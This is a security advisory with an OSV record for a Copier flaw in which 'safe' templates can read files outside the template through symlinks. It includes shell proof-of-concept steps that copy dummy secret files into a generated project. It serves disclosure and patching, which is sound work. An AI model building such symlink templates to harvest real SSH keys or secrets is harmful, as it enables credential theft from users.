BREW-COPIER-CVE-2026-23968 (GHSA-XJHM-GP88-8PFX)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:41 – Updated: 2026-09-17 19:13 – Source websiteImpact
Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).
Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.
Reproducible example:
-
Illegally include a file in the generated project via symlink resolution:
```shell echo "s3cr3t" > secret.txt
mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd
uvx copier copy src/ dst/
cat dst/stolen-secret.txt
s3cr3t
```
-
Illegally include a directory in the generated project via symlink resolution:
```shell mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd
mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd
uvx copier copy src/ dst/
tree dst/
dst/
└── stolen-secrets
└── secret.txt
1 directory, 1 file
cat dst/stolen-secrets/secret.txt
s3cr3t
```
Patches
n/a
Workarounds
n/a
References
n/a
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"upstream_fixed_in": "9.11.2"
},
"package": {
"ecosystem": "Homebrew",
"name": "copier",
"purl": "pkg:brew/copier"
},
"ranges": [
{
"events": [
{
"introduced": "5.1.0"
},
{
"fixed": "9.11.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/copier@9.18.2",
"name": "copier",
"strategy": "registry",
"subject_version": "9.18.2"
}
]
},
"details": "### Impact\n\nCopier suggests that it\u0027s safe to generate a project from a safe template, i.e. one that doesn\u0027t use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier\u0027s default setting). \n\nImagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.\n\nReproducible example:\n\n- Illegally include a file in the generated project via symlink resolution:\n\n ```shell\n echo \"s3cr3t\" \u003e secret.txt\n\n mkdir src/\n pushd src/\n ln -s ../secret.txt stolen-secret.txt\n popd\n\n uvx copier copy src/ dst/\n\n cat dst/stolen-secret.txt\n #s3cr3t\n ```\n\n- Illegally include a directory in the generated project via symlink resolution:\n\n ```shell\n mkdir secrets/\n pushd secrets/\n echo \"s3cr3t\" \u003e secret.txt\n popd\n\n mkdir src/\n pushd src/\n ln -s ../secrets stolen-secrets\n popd\n\n uvx copier copy src/ dst/\n\n tree dst/\n # dst/\n # \u2514\u2500\u2500 stolen-secrets\n # \u2514\u2500\u2500 secret.txt\n #\n # 1 directory, 1 file\n cat dst/stolen-secrets/secret.txt\n # s3cr3t\n ```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a",
"id": "BREW-copier-CVE-2026-23968",
"modified": "2026-09-17T19:13:35Z",
"published": "2026-08-13T16:41:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23968"
},
{
"type": "WEB",
"url": "https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6"
},
{
"type": "PACKAGE",
"url": "https://github.com/copier-org/copier"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false",
"upstream": [
"GHSA-xjhm-gp88-8pfx",
"CVE-2026-23968",
"PYSEC-2026-1274"
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
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